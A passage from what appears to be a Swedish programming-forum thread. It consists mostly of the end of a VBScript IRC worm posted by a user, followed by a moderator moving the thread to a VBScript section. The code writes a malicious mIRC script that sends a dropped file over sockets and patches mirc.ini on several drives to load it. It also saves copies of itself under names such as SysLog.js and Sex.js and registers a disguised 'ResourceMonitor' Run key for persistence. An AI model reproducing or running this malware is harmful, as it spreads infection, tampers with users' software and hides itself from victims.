DATA = DATA & vbCrLf & "INI.writeline([-]n109=  :loop[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n110=  if $sock(SEND*,%close) = $null { unset %close &#0124; goto done }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n111=  if $sock(SEND*,%close).to > 30 { sockclose $sock(SEND*,%close) &#0124; goto loop }[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n112=  inc %close 1[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n113=  goto loop[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n114=  :done[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n115=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n116=alias upload {[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n117=  set %sendtotal $+ $1 0[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n118=  bread C:\\Windows\\System\\SysLog.html 0 4096 &binvar[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n119=  sockwrite $1 &binvar[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n120=}[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n121=[-])[=]"
DATA = DATA & vbCrLf & "INI.writeline([-]n122=[=] Aphex is your savior and one hell of a script kiddie. >:o)[-])[=]"
DATA = DATA & vbCrLf & "INI.close()[=]"
DATA = DATA & vbCrLf & "INI = Shell.GetFile([-]c:\\default.ini[-])"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]c:\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "INI.Copy([-]c:\\mirc\\default.ini[-])[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]c:\\Program Files\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "INI.Copy([-]c:\\Program Files\\mirc\\default.ini[-])[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]d:\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "INI.Copy([-]d:\\mirc\\default.ini[-])[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]d:\\Program Files\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "INI.Copy([-]d:\\Program Files\\mirc\\default.ini[-])[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]e:\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "INI.Copy([-]e:\\mirc\\default.ini[-])[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]e:\\Program Files\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "INI.Copy([-]e:\\Program Files\\mirc\\default.ini[-])[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "INI.Delete()[=]"
DATA = DATA & vbCrLf & ""
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]c:\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "  INI = Shell.OpenTextFile([-]c:\\mirc\\mirc.ini[-], 8, true)"
DATA = DATA & vbCrLf & "  INI.writeline([-]n0=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n1=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n2=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n3=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n4=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n5=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n6=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n7=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n8=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n9=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n10=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n100=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.Close()[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]c:\\Program Files\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "  INI = Shell.OpenTextFile([-]c:\\Program Files\\mirc\\mirc.ini[-], 8, true)"
DATA = DATA & vbCrLf & "  INI.writeline([-]n0=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n1=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n2=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n3=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n4=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n5=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n6=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n7=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n8=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n9=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n10=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n100=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.Close()[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]d:\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "  INI = Shell.OpenTextFile([-]d:\\mirc\\mirc.ini[-], 8, true)"
DATA = DATA & vbCrLf & "  INI.writeline([-]n0=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n1=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n2=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n3=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n4=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n5=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n6=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n7=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n8=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n9=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n10=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n100=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.Close()[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]d:\\Program Files\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "  INI = Shell.OpenTextFile([-]d:\\Program Files\\mirc\\mirc.ini[-], 8, true)"
DATA = DATA & vbCrLf & "  INI.writeline([-]n0=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n1=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n2=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n3=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n4=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n5=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n6=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n7=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n8=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n9=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n10=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n100=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.Close()[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]e:\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "  INI = Shell.OpenTextFile([-]e:\\mirc\\mirc.ini[-], 8, true)"
DATA = DATA & vbCrLf & "  INI.writeline([-]n0=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n1=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n2=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n3=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n4=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n5=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n6=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n7=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n8=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n9=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n10=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n100=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.Close()[=]"
DATA = DATA & vbCrLf & "}"
DATA = DATA & vbCrLf & "if (Shell.FileExists([-]e:\\Program Files\\mirc\\mirc.ini[-]))"
DATA = DATA & vbCrLf & " {"
DATA = DATA & vbCrLf & "  INI = Shell.OpenTextFile([-]e:\\Program Files\\mirc\\mirc.ini[-], 8, true)"
DATA = DATA & vbCrLf & "  INI.writeline([-]n0=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n1=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n2=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n3=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n4=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n5=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n6=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n7=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n8=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n9=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n10=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.writeline([-]n100=default.ini[-])[=]"
DATA = DATA & vbCrLf & "  INI.Close()[=]"
DATA = DATA & vbCrLf & "}"
DATA = Replace(DATA,chr(91)&chr(45)&chr(93),chr(34))
DATA = Replace(DATA,chr(91)&chr(61)&chr(93),chr(59))
Set JS = SHELL.CreateTextFile(SYSTEM & "\SysLog.js")
JS.Write DATA
JS.Close
Set JS = SHELL.CreateTextFile(SYSTEM & "\Setup.js")
JS.Write DATA
JS.Close
Set JS = SHELL.CreateTextFile("C:\Windows\Sex.js")
JS.Write DATA
JS.Close
REGEDIT.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ResourceMonitor",SYSTEM & "\SysLog.js"
Aphex = "God"
</SCRIPT>

------------------
^FreeZer^
------------------
"Om du läser denna mening en gång till, kommer du att ha läst den minst två gånger..."

Erik Juhlins avatarErik JuhlinMedlem sedan maj 200010 687 inlägg
#2

Eftersom att det är VBScript så flyttar jag tråden till "ASP, VBScript".

------------------
/Erik
www.juhlin.nu /sk8files/ /mp2d/

278 ms totalt · 4 externa anrop · v20260731065814-full.1dc6f849
132 ms — deklarationer (db)
0 ms — hämta statistik (cache)
144 ms — hämta tråd, inlägg och bilagor (db)
131 ms — ändringar (db)